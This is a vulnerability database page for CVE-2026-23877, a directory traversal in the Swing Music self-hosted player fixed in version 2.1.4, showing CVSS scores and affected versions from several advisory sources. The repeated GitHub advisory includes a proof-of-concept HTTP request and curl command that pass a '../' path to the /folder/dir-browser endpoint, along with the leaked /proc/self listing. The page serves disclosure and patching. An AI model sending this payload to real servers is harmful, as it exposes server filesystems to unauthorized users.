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CVE-2026-23877

Directory Traversal & Filesystem can be accessed by a non-admin user

5.3 MediumFix available

Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.60%Up 0.4 points since Jan 20, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

Directory Traversal & Filesystem can be accessed by a non-admin user

Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.

Record
CVE-2026-23877
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-25, CWE-284
Updated
2026-11-02
EUVDEUVD-2026-3284 5.3

Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.

Record
EUVD-2026-3284
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-pj88-9xww-gxmh 5.3

Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user

Summary

Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

Details

The @api.post("/dir-browser") endpoint lacks proper path validation and authorization checks:

  • No authorization requirement: Any authenticated user can access the endpoint
  • Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:
req_dir = pathlib.Path("../../../../etc")  # → PosixPath('../../../../etc')
if not req_dir.exists():                    # → False
    req_dir = "/" / req_dir                 # → PosixPath('/../../../../etc')

PoC

  1. Create a non-admin user
  2. Authenticate as a non-admin user
  3. Send the following request:
POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive

{"folder":"/music/../proc/self/", "tracks_only":false}

curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
    --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
    $'http://IP:1970/folder/dir-browser'
  1. The response will list directories from /proc/self instead of restricting to user-accessible paths:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive

{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}

Impact

Information Disclosure:

  • Server filesystem structure and layout
  • Configuration file locations and names
  • User account names from directory listings
  • Software versions and installed packages
  • Log file locations and system paths

Additional Risks:

  • Preparation for further attacks (LFI, RCE)
  • Bypass of access control mechanisms
  • Exposure of sensitive directory structures
Record
GHSA-pj88-9xww-gxmh
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-25
Updated
2026-11-02
NVD 5.3

Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.

Record
CVE-2026-23877
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-25, CWE-284
Updated
2026-11-02
OSV 5.3

Directory Traversal & Filesystem can be accessed by a non-admin user

Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.

Record
CVE-2026-23877
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-25, CWE-284
Updated
2026-11-02
OSVGHSA-pj88-9xww-gxmh 5.3

Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user

Summary

Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

Details

The @api.post("/dir-browser") endpoint lacks proper path validation and authorization checks:

  • No authorization requirement: Any authenticated user can access the endpoint
  • Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:
req_dir = pathlib.Path("../../../../etc")  # → PosixPath('../../../../etc')
if not req_dir.exists():                    # → False
    req_dir = "/" / req_dir                 # → PosixPath('/../../../../etc')

PoC

  1. Create a non-admin user
  2. Authenticate as a non-admin user
  3. Send the following request:
POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive

{"folder":"/music/../proc/self/", "tracks_only":false}

curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
    --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
    $'http://IP:1970/folder/dir-browser'
  1. The response will list directories from /proc/self instead of restricting to user-accessible paths:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive

{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}

Impact

Information Disclosure:

  • Server filesystem structure and layout
  • Configuration file locations and names
  • User account names from directory listings
  • Software versions and installed packages
  • Log file locations and system paths

Additional Risks:

  • Preparation for further attacks (LFI, RCE)
  • Bypass of access control mechanisms
  • Exposure of sensitive directory structures
Record
GHSA-pj88-9xww-gxmh
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-25
Updated
2026-11-02
OSVPYSEC-2026-1947 5.3

Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user

Summary

Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

Details

The @api.post("/dir-browser") endpoint lacks proper path validation and authorization checks:

  • No authorization requirement: Any authenticated user can access the endpoint
  • Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:
req_dir = pathlib.Path("../../../../etc")  # → PosixPath('../../../../etc')
if not req_dir.exists():                    # → False
    req_dir = "/" / req_dir                 # → PosixPath('/../../../../etc')

PoC

  1. Create a non-admin user
  2. Authenticate as a non-admin user
  3. Send the following request:
POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive

{"folder":"/music/../proc/self/", "tracks_only":false}

curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
    --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
    $'http://IP:1970/folder/dir-browser'
  1. The response will list directories from /proc/self instead of restricting to user-accessible paths:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive

{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}

Impact

Information Disclosure:

  • Server filesystem structure and layout
  • Configuration file locations and names
  • User account names from directory listings
  • Software versions and installed packages
  • Log file locations and system paths

Additional Risks:

  • Preparation for further attacks (LFI, RCE)
  • Bypass of access control mechanisms
  • Exposure of sensitive directory structures
Record
PYSEC-2026-1947
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
swingmusic
PyPI
 before 2.1.4
2.1.4
swingmusic
PyPI
 before 2.1.4, plus listed versions
2.0.112.1.02.1.12.1.22.1.3
2.1.4

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-23877 is a medium vulnerability (CVSS 5.3) in Swingmx Swing Music, published January 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in swingmusic 2.1.4.

References

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